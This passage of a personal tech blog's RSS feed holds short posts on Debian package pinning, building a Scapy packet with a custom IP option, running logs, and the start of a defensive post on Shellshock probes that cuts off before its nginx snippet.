  6560.    <content:encoded><![CDATA[<p><a href="http://terrarum.net/blog/puppet-infrastructure-2015.html" title="Puppet Infrastructure 2015">Puppet Infrastructure 2015</a></p>
  6561. ]]></content:encoded>
  6562.  </item>
  6563.  
  6564.  <item>
  6565.    <title>Downgrade Quagga on Debian 8</title>
  6566.    <link>https://blog.x-way.org/Linux/2015/08/12/Downgrade-Quagga-on-Debian-8.html</link>
  6567.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324253</guid>
  6568.    <dc:creator>Andreas Jaggi</dc:creator>
  6569.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6570.    <pubDate>Wed, 12 Aug 2015 04:11:00 +0200</pubDate>
  6571.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6572.    <description><![CDATA[<p>The <a href="http://www.nongnu.org/quagga/" title="Quagga Routing Suite">Quagga</a> version in Debian 8 (v0.99.23.1) suffers from a <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=784292" title="quagga: ospf6d no loner updates route after upgrade to Jessie">bug in ospf6d</a>, which causes that no IPv6 routes are exchanged via point-to-point interfaces.</p>
  6573.  
  6574. <p>In order to workaround this problem (and re-establish IPv6 connectivity), a downgrade of the quagga package can be done.<br>
  6575. For this we add the 'oldstable' entry to sources.list and pin the quagga package to the old version.</p>
  6576.  
  6577. <p>Entry to add to /etc/apt/sources.list:</p>
  6578. <pre>deb http://mirror.switch.ch/ftp/mirror/debian/ oldstable main</pre>
  6579. <p>Entry to add to /etc/apt/preferences:</p>
  6580. <pre>Package: quagga
  6581. Pin: version 0.99.22.*
  6582. Pin-Priority: 1001</pre>
  6583.  
  6584. <p>After the entries have been added, run <kbd>apt-get update</kbd> followed by <kbd>apt-get install quagga</kbd> to downgrade to the old quagga package.</p>
  6585. ]]></description>
  6586.    <content:encoded><![CDATA[<p>The <a href="http://www.nongnu.org/quagga/" title="Quagga Routing Suite">Quagga</a> version in Debian 8 (v0.99.23.1) suffers from a <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=784292" title="quagga: ospf6d no loner updates route after upgrade to Jessie">bug in ospf6d</a>, which causes that no IPv6 routes are exchanged via point-to-point interfaces.</p>
  6587.  
  6588. <p>In order to workaround this problem (and re-establish IPv6 connectivity), a downgrade of the quagga package can be done.<br>
  6589. For this we add the 'oldstable' entry to sources.list and pin the quagga package to the old version.</p>
  6590.  
  6591. <p>Entry to add to /etc/apt/sources.list:</p>
  6592. <pre>deb http://mirror.switch.ch/ftp/mirror/debian/ oldstable main</pre>
  6593. <p>Entry to add to /etc/apt/preferences:</p>
  6594. <pre>Package: quagga
  6595. Pin: version 0.99.22.*
  6596. Pin-Priority: 1001</pre>
  6597.  
  6598. <p>After the entries have been added, run <kbd>apt-get update</kbd> followed by <kbd>apt-get install quagga</kbd> to downgrade to the old quagga package.</p>
  6599. ]]></content:encoded>
  6600.  </item>
  6601.  
  6602.  <item>
  6603.    <title>fsociety00.dat</title>
  6604.    <link>https://blog.x-way.org/Misc/2015/07/19/fsociety00-dat.html</link>
  6605.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324252</guid>
  6606.    <dc:creator>Andreas Jaggi</dc:creator>
  6607.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6608.    <pubDate>Sun, 19 Jul 2015 23:44:00 +0200</pubDate>
  6609.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6610.    <description><![CDATA[<p><a href="https://blog.x-way.org/fsociety00.dat" title="fsociety00.dat" rel="nofollow">fsociety00.dat</a></p>
  6611. ]]></description>
  6612.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/fsociety00.dat" title="fsociety00.dat" rel="nofollow">fsociety00.dat</a></p>
  6613. ]]></content:encoded>
  6614.  </item>
  6615.  
  6616.  <item>
  6617.    <title>Scapy and IP Options</title>
  6618.    <link>https://blog.x-way.org/Networking/2015/07/12/Scapy-and-IP-Options.html</link>
  6619.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324251</guid>
  6620.    <dc:creator>Andreas Jaggi</dc:creator>
  6621.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6622.    <pubDate>Sun, 12 Jul 2015 23:56:00 +0200</pubDate>
  6623.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6624.    <description><![CDATA[<p>Create packets with custom IPv4 IP Option fields using <a href="http://www.secdev.org/projects/scapy/" title="Scapy is a powerful interactive packet manipulation program">Scapy</a>:</p>
  6625. <pre>
  6626. &gt;&gt;&gt; packet=IP(src="203.0.113.1",dst="203.0.113.2",options=[IPOption('%s%s'%('\x86\x28','a'*38))])
  6627. &gt;&gt;&gt; ls(packet)
  6628. version    : BitField             = 4               (4)
  6629. ihl        : BitField             = None            (None)
  6630. tos        : XByteField           = 0               (0)
  6631. len        : ShortField           = None            (None)
  6632. id         : ShortField           = 1               (1)
  6633. flags      : FlagsField           = 0               (0)
  6634. frag       : BitField             = 0               (0)
  6635. ttl        : ByteField            = 64              (64)
  6636. proto      : ByteEnumField        = 0               (0)
  6637. chksum     : XShortField          = None            (None)
  6638. src        : Emph                 = '203.0.113.1'   (None)
  6639. dst        : Emph                 = '203.0.113.2'   ('127.0.0.1')
  6640. options    : PacketListField      = [&lt;IPOption  copy_flag=1L optclass=control option=commercial_security length=40 value='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' |&gt;] ([])
  6641. &gt;&gt;&gt; sr1(packet)
  6642. </pre>
  6643. <p>The above code results in the following packet (as seen by <a href="https://www.wireshark.org/" title="Wireshark Network Protocol Analyzer">Wireshark</a>):</p>
  6644. <p><img src="https://blog.x-way.org/images/scapy_ip_option.png" alt="Wireshark showing the packet with the custom IP Option" width="540" height="576"></p>
  6645. ]]></description>
  6646.    <content:encoded><![CDATA[<p>Create packets with custom IPv4 IP Option fields using <a href="http://www.secdev.org/projects/scapy/" title="Scapy is a powerful interactive packet manipulation program">Scapy</a>:</p>
  6647. <pre>
  6648. &gt;&gt;&gt; packet=IP(src="203.0.113.1",dst="203.0.113.2",options=[IPOption('%s%s'%('\x86\x28','a'*38))])
  6649. &gt;&gt;&gt; ls(packet)
  6650. version    : BitField             = 4               (4)
  6651. ihl        : BitField             = None            (None)
  6652. tos        : XByteField           = 0               (0)
  6653. len        : ShortField           = None            (None)
  6654. id         : ShortField           = 1               (1)
  6655. flags      : FlagsField           = 0               (0)
  6656. frag       : BitField             = 0               (0)
  6657. ttl        : ByteField            = 64              (64)
  6658. proto      : ByteEnumField        = 0               (0)
  6659. chksum     : XShortField          = None            (None)
  6660. src        : Emph                 = '203.0.113.1'   (None)
  6661. dst        : Emph                 = '203.0.113.2'   ('127.0.0.1')
  6662. options    : PacketListField      = [&lt;IPOption  copy_flag=1L optclass=control option=commercial_security length=40 value='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' |&gt;] ([])
  6663. &gt;&gt;&gt; sr1(packet)
  6664. </pre>
  6665. <p>The above code results in the following packet (as seen by <a href="https://www.wireshark.org/" title="Wireshark Network Protocol Analyzer">Wireshark</a>):</p>
  6666. <p><img src="https://blog.x-way.org/images/scapy_ip_option.png" alt="Wireshark showing the packet with the custom IP Option" width="540" height="576"></p>
  6667. ]]></content:encoded>
  6668.  </item>
  6669.  
  6670.  <item>
  6671.    <title>Upgrade to Debian 8 without systemd</title>
  6672.    <link>https://blog.x-way.org/Linux/2015/07/11/Upgrade-to-Debian-8-without-systemd.html</link>
  6673.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324250</guid>
  6674.    <dc:creator>Andreas Jaggi</dc:creator>
  6675.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6676.    <pubDate>Sat, 11 Jul 2015 11:27:00 +0200</pubDate>
  6677.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6678.    <description><![CDATA[<p>To avoid the automatic installation/switch to systemd during the upgrade to Debian 8, it is enough to prevent the installation of the <code>systemd-sysv</code> package.</p>
  6679. <p>This can be done by creating a file <code>/etc/apt/preferences.d/no-systemd-sysv</code> with the following content:</p>
  6680. <pre>Package: systemd-sysv
  6681. Pin: release o=Debian
  6682. Pin-Priority: -1</pre>
  6683. <p>(<a href="http://noone.org/talks/debian-ohne-systemd/debian-ohne-systemd-cosin.html#(12)" title="Debian 8 Jessie ohne Systemd betreiben">via</a>)</p>
  6684. ]]></description>
  6685.    <content:encoded><![CDATA[<p>To avoid the automatic installation/switch to systemd during the upgrade to Debian 8, it is enough to prevent the installation of the <code>systemd-sysv</code> package.</p>
  6686. <p>This can be done by creating a file <code>/etc/apt/preferences.d/no-systemd-sysv</code> with the following content:</p>
  6687. <pre>Package: systemd-sysv
  6688. Pin: release o=Debian
  6689. Pin-Priority: -1</pre>
  6690. <p>(<a href="http://noone.org/talks/debian-ohne-systemd/debian-ohne-systemd-cosin.html#(12)" title="Debian 8 Jessie ohne Systemd betreiben">via</a>)</p>
  6691. ]]></content:encoded>
  6692.  </item>
  6693.  
  6694.  <item>
  6695.    <title>Obey the cloud!</title>
  6696.    <link>https://blog.x-way.org/Misc/2015/07/05/Obey-the-cloud.html</link>
  6697.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324249</guid>
  6698.    <dc:creator>Andreas Jaggi</dc:creator>
  6699.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6700.    <pubDate>Sun, 05 Jul 2015 17:22:00 +0200</pubDate>
  6701.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6702.    <description><![CDATA[<p>So true...</p>
  6703. <p><img src="https://blog.x-way.org/images/adobe_cloud.jpg" alt="Johannes Kretzschmar - Obey the cloud!" width="450" height="2514"></p>
  6704. <p><a href="http://blog.beetlebum.de/2015/06/24/obey-the-cloud/" title="Obey the cloud!">"Obey the cloud!"</a> by <a href="http://blog.beetlebum.de" title="Jojos illustrierter Blog">Johannes Kretzschmar</a>, licensed under <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" title="Creative Commons - Attribution-NonCommercial-ShareAlike 3.0 Unported - CC BY-NC-SA 3.0">CC BY-NC-SA 3.0</a>.</p>
  6705. ]]></description>
  6706.    <content:encoded><![CDATA[<p>So true...</p>
  6707. <p><img src="https://blog.x-way.org/images/adobe_cloud.jpg" alt="Johannes Kretzschmar - Obey the cloud!" width="450" height="2514"></p>
  6708. <p><a href="http://blog.beetlebum.de/2015/06/24/obey-the-cloud/" title="Obey the cloud!">"Obey the cloud!"</a> by <a href="http://blog.beetlebum.de" title="Jojos illustrierter Blog">Johannes Kretzschmar</a>, licensed under <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" title="Creative Commons - Attribution-NonCommercial-ShareAlike 3.0 Unported - CC BY-NC-SA 3.0">CC BY-NC-SA 3.0</a>.</p>
  6709. ]]></content:encoded>
  6710.  </item>
  6711.  
  6712.  <item>
  6713.    <title>The Day Is My Enemy</title>
  6714.    <link>https://blog.x-way.org/Music/2015/02/24/The-Day-Is-My-Enemy.html</link>
  6715.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324248</guid>
  6716.    <dc:creator>Andreas Jaggi</dc:creator>
  6717.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6718.    <pubDate>Tue, 24 Feb 2015 17:08:00 +0100</pubDate>
  6719.    <category domain="https://blog.x-way.org/Music/">Music</category>
  6720.    <description><![CDATA[<p><a href="https://youtu.be/h1AaKBbNGkk" title="The Prodigy - The Day Is My Enemy - YouTube">The Prodigy - The Day Is My Enemy</a></p>
  6721. <p>Looking forward to see the live performance at the <a href="https://web.archive.org/web/20150226015240/http://www.futuremusicfestival.com.au/" title="Future Music Festival 2015 (archive.org)">Future Music Festival 2015</a> :-)</p>
  6722. ]]></description>
  6723.    <content:encoded><![CDATA[<p><a href="https://youtu.be/h1AaKBbNGkk" title="The Prodigy - The Day Is My Enemy - YouTube">The Prodigy - The Day Is My Enemy</a></p>
  6724. <p>Looking forward to see the live performance at the <a href="https://web.archive.org/web/20150226015240/http://www.futuremusicfestival.com.au/" title="Future Music Festival 2015 (archive.org)">Future Music Festival 2015</a> :-)</p>
  6725. ]]></content:encoded>
  6726.  </item>
  6727.  
  6728.  <item>
  6729.    <title>Hand-crafted IP packets</title>
  6730.    <link>https://blog.x-way.org/Networking/2015/01/11/Hand-crafted-IP-packets.html</link>
  6731.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324247</guid>
  6732.    <dc:creator>Andreas Jaggi</dc:creator>
  6733.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6734.    <pubDate>Sun, 11 Jan 2015 23:16:00 +0100</pubDate>
  6735.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6736.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/rfc791-form.jpg" title="Form RFC 791"><img src="https://blog.x-way.org/images/rfc791-form.jpg" width="520" height="328" alt="Form RFC 791"></a></p>
  6737. <p>(<a href="https://www.snookles.com/slf-blog/slf-blog/2014/05/19/hand-crafted-ip-packets-with-form-rfc-791/" title="Hand-crafted IP packets with Form RFC 791">via</a>)</p>
  6738. ]]></description>
  6739.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/rfc791-form.jpg" title="Form RFC 791"><img src="https://blog.x-way.org/images/rfc791-form.jpg" width="520" height="328" alt="Form RFC 791"></a></p>
  6740. <p>(<a href="https://www.snookles.com/slf-blog/slf-blog/2014/05/19/hand-crafted-ip-packets-with-form-rfc-791/" title="Hand-crafted IP packets with Form RFC 791">via</a>)</p>
  6741. ]]></content:encoded>
  6742.  </item>
  6743.  
  6744.  <item>
  6745.    <title>Christmas Run</title>
  6746.    <link>https://blog.x-way.org/Misc/2014/12/25/Christmas-Run.html</link>
  6747.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324246</guid>
  6748.    <dc:creator>Andreas Jaggi</dc:creator>
  6749.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6750.    <pubDate>Thu, 25 Dec 2014 07:12:00 +0100</pubDate>
  6751.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6752.    <description><![CDATA[<p>Run #9 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Two rounds again, this time during noon with some nice sun and a whopping 30°C :-)</p>
  6753. <p><a href="https://www.strava.com/activities/232605707" title="Centennial Midday Run 2x | Strava">Centennial Midday Run 2x</a></p>
  6754. ]]></description>
  6755.    <content:encoded><![CDATA[<p>Run #9 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Two rounds again, this time during noon with some nice sun and a whopping 30°C :-)</p>
  6756. <p><a href="https://www.strava.com/activities/232605707" title="Centennial Midday Run 2x | Strava">Centennial Midday Run 2x</a></p>
  6757. ]]></content:encoded>
  6758.  </item>
  6759.  
  6760.  <item>
  6761.    <title>Advent Run #8</title>
  6762.    <link>https://blog.x-way.org/Misc/2014/12/22/Advent-Run-8.html</link>
  6763.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324245</guid>
  6764.    <dc:creator>Andreas Jaggi</dc:creator>
  6765.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6766.    <pubDate>Mon, 22 Dec 2014 23:35:00 +0100</pubDate>
  6767.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6768.    <description><![CDATA[<p>Run #8 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Two rounds again, and with some rain :-(</p>
  6769. <p><a href="https://www.strava.com/activities/231954760" title="Centennial Morning Run 2x | Strava">Centennial Morning Run 2x</a></p>
  6770. ]]></description>
  6771.    <content:encoded><![CDATA[<p>Run #8 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Two rounds again, and with some rain :-(</p>
  6772. <p><a href="https://www.strava.com/activities/231954760" title="Centennial Morning Run 2x | Strava">Centennial Morning Run 2x</a></p>
  6773. ]]></content:encoded>
  6774.  </item>
  6775.  
  6776.  <item>
  6777.    <title>Advent Run #7</title>
  6778.    <link>https://blog.x-way.org/Misc/2014/12/18/Advent-Run-7.html</link>
  6779.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324244</guid>
  6780.    <dc:creator>Andreas Jaggi</dc:creator>
  6781.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6782.    <pubDate>Thu, 18 Dec 2014 23:21:00 +0100</pubDate>
  6783.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6784.    <description><![CDATA[<p>Run #7 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Only one round, but the fastest one so far.</p>
  6785. <p><a href="https://www.strava.com/activities/230676682" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6786. ]]></description>
  6787.    <content:encoded><![CDATA[<p>Run #7 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Only one round, but the fastest one so far.</p>
  6788. <p><a href="https://www.strava.com/activities/230676682" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6789. ]]></content:encoded>
  6790.  </item>
  6791.  
  6792.  <item>
  6793.    <title>Advent Run #6</title>
  6794.    <link>https://blog.x-way.org/Misc/2014/12/15/Advent-Run-6.html</link>
  6795.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324243</guid>
  6796.    <dc:creator>Andreas Jaggi</dc:creator>
  6797.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6798.    <pubDate>Mon, 15 Dec 2014 23:31:00 +0100</pubDate>
  6799.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6800.    <description><![CDATA[<p>Run #6 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Two rounds this time, with a slower pace though.</p>
  6801. <p><a href="https://www.strava.com/activities/229959879" title="Centennial Morning Run 2x | Strava">Centennial Morning Run 2x</a></p>
  6802. ]]></description>
  6803.    <content:encoded><![CDATA[<p>Run #6 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Two rounds this time, with a slower pace though.</p>
  6804. <p><a href="https://www.strava.com/activities/229959879" title="Centennial Morning Run 2x | Strava">Centennial Morning Run 2x</a></p>
  6805. ]]></content:encoded>
  6806.  </item>
  6807.  
  6808.  <item>
  6809.    <title>Advent Run #5</title>
  6810.    <link>https://blog.x-way.org/Misc/2014/12/11/Advent-Run-5.html</link>
  6811.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324242</guid>
  6812.    <dc:creator>Andreas Jaggi</dc:creator>
  6813.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6814.    <pubDate>Thu, 11 Dec 2014 22:51:00 +0100</pubDate>
  6815.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6816.    <description><![CDATA[<p>Run #5 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Didn't have the patience to wait for the GPS to lock onto the signal, thus the late start.</p>
  6817. <p><a href="https://www.strava.com/activities/228585950" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6818. ]]></description>
  6819.    <content:encoded><![CDATA[<p>Run #5 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>. Didn't have the patience to wait for the GPS to lock onto the signal, thus the late start.</p>
  6820. <p><a href="https://www.strava.com/activities/228585950" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6821. ]]></content:encoded>
  6822.  </item>
  6823.  
  6824.  <item>
  6825.    <title>Advent Run #4</title>
  6826.    <link>https://blog.x-way.org/Misc/2014/12/09/Advent-Run-4.html</link>
  6827.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324241</guid>
  6828.    <dc:creator>Andreas Jaggi</dc:creator>
  6829.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6830.    <pubDate>Tue, 09 Dec 2014 23:14:00 +0100</pubDate>
  6831.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6832.    <description><![CDATA[<p>Run #4 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>, this time a bit later and thus with more sun:</p>
  6833. <p><a href="https://www.strava.com/activities/227954289" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6834. ]]></description>
  6835.    <content:encoded><![CDATA[<p>Run #4 around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>, this time a bit later and thus with more sun:</p>
  6836. <p><a href="https://www.strava.com/activities/227954289" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6837. ]]></content:encoded>
  6838.  </item>
  6839.  
  6840.  <item>
  6841.    <title>Advent Run #3</title>
  6842.    <link>https://blog.x-way.org/Misc/2014/12/08/Advent-Run-3.html</link>
  6843.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324240</guid>
  6844.    <dc:creator>Andreas Jaggi</dc:creator>
  6845.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6846.    <pubDate>Mon, 08 Dec 2014 22:53:00 +0100</pubDate>
  6847.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6848.    <description><![CDATA[<p>Another run around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>, this time counterclockwise:</p>
  6849. <p><a href="https://www.strava.com/activities/227599067" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6850. ]]></description>
  6851.    <content:encoded><![CDATA[<p>Another run around <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>, this time counterclockwise:</p>
  6852. <p><a href="https://www.strava.com/activities/227599067" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6853. ]]></content:encoded>
  6854.  </item>
  6855.  
  6856.  <item>
  6857.    <title>Advent Run #2</title>
  6858.    <link>https://blog.x-way.org/Misc/2014/12/03/Advent-Run-2.html</link>
  6859.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324239</guid>
  6860.    <dc:creator>Andreas Jaggi</dc:creator>
  6861.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6862.    <pubDate>Wed, 03 Dec 2014 22:43:00 +0100</pubDate>
  6863.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6864.    <description><![CDATA[<p>Next run around the beautiful <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>:</p>
  6865. <p><a href="https://www.strava.com/activities/225939583" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6866. ]]></description>
  6867.    <content:encoded><![CDATA[<p>Next run around the beautiful <a href="http://www.centennialparklands.com.au" title="Centennial Parklands">Centennial Park</a>:</p>
  6868. <p><a href="https://www.strava.com/activities/225939583" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6869. ]]></content:encoded>
  6870.  </item>
  6871.  
  6872.  <item>
  6873.    <title>Advent Run #1</title>
  6874.    <link>https://blog.x-way.org/Misc/2014/12/01/Advent-Run-1.html</link>
  6875.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324237</guid>
  6876.    <dc:creator>Andreas Jaggi</dc:creator>
  6877.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6878.    <pubDate>Mon, 01 Dec 2014 22:34:00 +0100</pubDate>
  6879.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6880.    <description><![CDATA[<p>The nice thing of being in Sydney during December is that you can go running during christmas time and it is 22°C :-)</p>
  6881. <p><a href="https://www.strava.com/activities/225305851" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6882. ]]></description>
  6883.    <content:encoded><![CDATA[<p>The nice thing of being in Sydney during December is that you can go running during christmas time and it is 22°C :-)</p>
  6884. <p><a href="https://www.strava.com/activities/225305851" title="Centennial Morning Run | Strava">Centennial Morning Run</a></p>
  6885. ]]></content:encoded>
  6886.  </item>
  6887.  
  6888.  <item>
  6889.    <title>Regex Crossword</title>
  6890.    <link>https://blog.x-way.org/Coding/2014/11/30/Regex-Crossword.html</link>
  6891.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324236</guid>
  6892.    <dc:creator>Andreas Jaggi</dc:creator>
  6893.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6894.    <pubDate>Sun, 30 Nov 2014 21:55:00 +0100</pubDate>
  6895.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  6896.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/regexcrossword.png" width="520" height="351" alt="The End | Regex Crossword"></p>
  6897. <p><a href="http://regexcrossword.com" title="Regex Crossword">Regex Crossword</a> (<a href="https://news.ycombinator.com/item?id=8674039" title="Regex Crossword | Hacker News">via</a>)</p>
  6898. ]]></description>
  6899.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/regexcrossword.png" width="520" height="351" alt="The End | Regex Crossword"></p>
  6900. <p><a href="http://regexcrossword.com" title="Regex Crossword">Regex Crossword</a> (<a href="https://news.ycombinator.com/item?id=8674039" title="Regex Crossword | Hacker News">via</a>)</p>
  6901. ]]></content:encoded>
  6902.  </item>
  6903.  
  6904.  <item>
  6905.    <title>The UNIX System</title>
  6906.    <link>https://blog.x-way.org/Linux/2014/11/24/The-UNIX-System.html</link>
  6907.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324235</guid>
  6908.    <dc:creator>Andreas Jaggi</dc:creator>
  6909.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6910.    <pubDate>Mon, 24 Nov 2014 23:26:00 +0100</pubDate>
  6911.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6912.    <description><![CDATA[<p><a href="https://youtu.be/tc4ROCJYbm0" title="AT&amp;T Archives: The UNIX Operation System - YouTube">AT&amp;T Archives: The UNIX Operation System</a></p>
  6913. <p>The UNIX System: Making Computers More Productive, 1982, Bell Laboratories</p>
  6914. ]]></description>
  6915.    <content:encoded><![CDATA[<p><a href="https://youtu.be/tc4ROCJYbm0" title="AT&amp;T Archives: The UNIX Operation System - YouTube">AT&amp;T Archives: The UNIX Operation System</a></p>
  6916. <p>The UNIX System: Making Computers More Productive, 1982, Bell Laboratories</p>
  6917. ]]></content:encoded>
  6918.  </item>
  6919.  
  6920.  <item>
  6921.    <title>SixSpotting</title>
  6922.    <link>https://blog.x-way.org/Networking/2014/11/02/SixSpotting.html</link>
  6923.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324234</guid>
  6924.    <dc:creator>Andreas Jaggi</dc:creator>
  6925.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6926.    <pubDate>Sun, 02 Nov 2014 08:43:00 +0100</pubDate>
  6927.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6928.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/for-realz.jpg" width="618" height="463" alt="IPv6 - IS FOR REALZ NOWZ, SRUSLY"></p>
  6929. <p><a href="https://game.flyingpenguintech.org" title="SixSpotting">SixSpotting</a>, a funny little game where you collect points by logging in from as many IPv6 enabled providers as possible.</p>
  6930. ]]></description>
  6931.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/for-realz.jpg" width="618" height="463" alt="IPv6 - IS FOR REALZ NOWZ, SRUSLY"></p>
  6932. <p><a href="https://game.flyingpenguintech.org" title="SixSpotting">SixSpotting</a>, a funny little game where you collect points by logging in from as many IPv6 enabled providers as possible.</p>
  6933. ]]></content:encoded>
  6934.  </item>
  6935.  
  6936.  <item>
  6937.    <title>Show Shellshock the door</title>
  6938.    <link>https://blog.x-way.org/Networking/2014/10/18/Show-Shellshock-the-door.html</link>
  6939.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324233</guid>
  6940.    <dc:creator>Andreas Jaggi</dc:creator>
  6941.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6942.    <pubDate>Sat, 18 Oct 2014 18:45:00 +0200</pubDate>
  6943.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6944.    <description><![CDATA[<p>
  6945. Lately the requests trying to exploit the <a href="http://en.wikipedia.org/wiki/Shellshock_(software_bug)" title="Shellshock (software bug)">Shellshock vulnerability</a> are getting annoying.
  6946. Of course my hosts are patched &mdash; even before the first such request arrived &mdash; and they are using <a href="http://en.wikipedia.org/wiki/Debian_Almquist_shell" title="Debian Almquist shell">Dash</a> as /bin/sh anyway.<br>
  6947. But this does not stop attackers from sending those requests.
  6948. Some even seem to have programmed a loop which sends request after request even though their exploit is not working.
  6949. </p>
  6950. <p>
  6951. Since most of the requests are for valid URLs, the webserver just replies with a 200 status code and serves the content.
  6952. As this gives no indication to the attacker whether his exploit worked or not, he has no reason to remove the host from his target-list and thus continues to send requests.
  6953. </p>
  6954. <p>
  6955. To break this pattern and signal that the host is not vulnerable to Shellshock, I came up with the <a href="http://nginx.org" title="nginx">nginx</a> config snippet below.
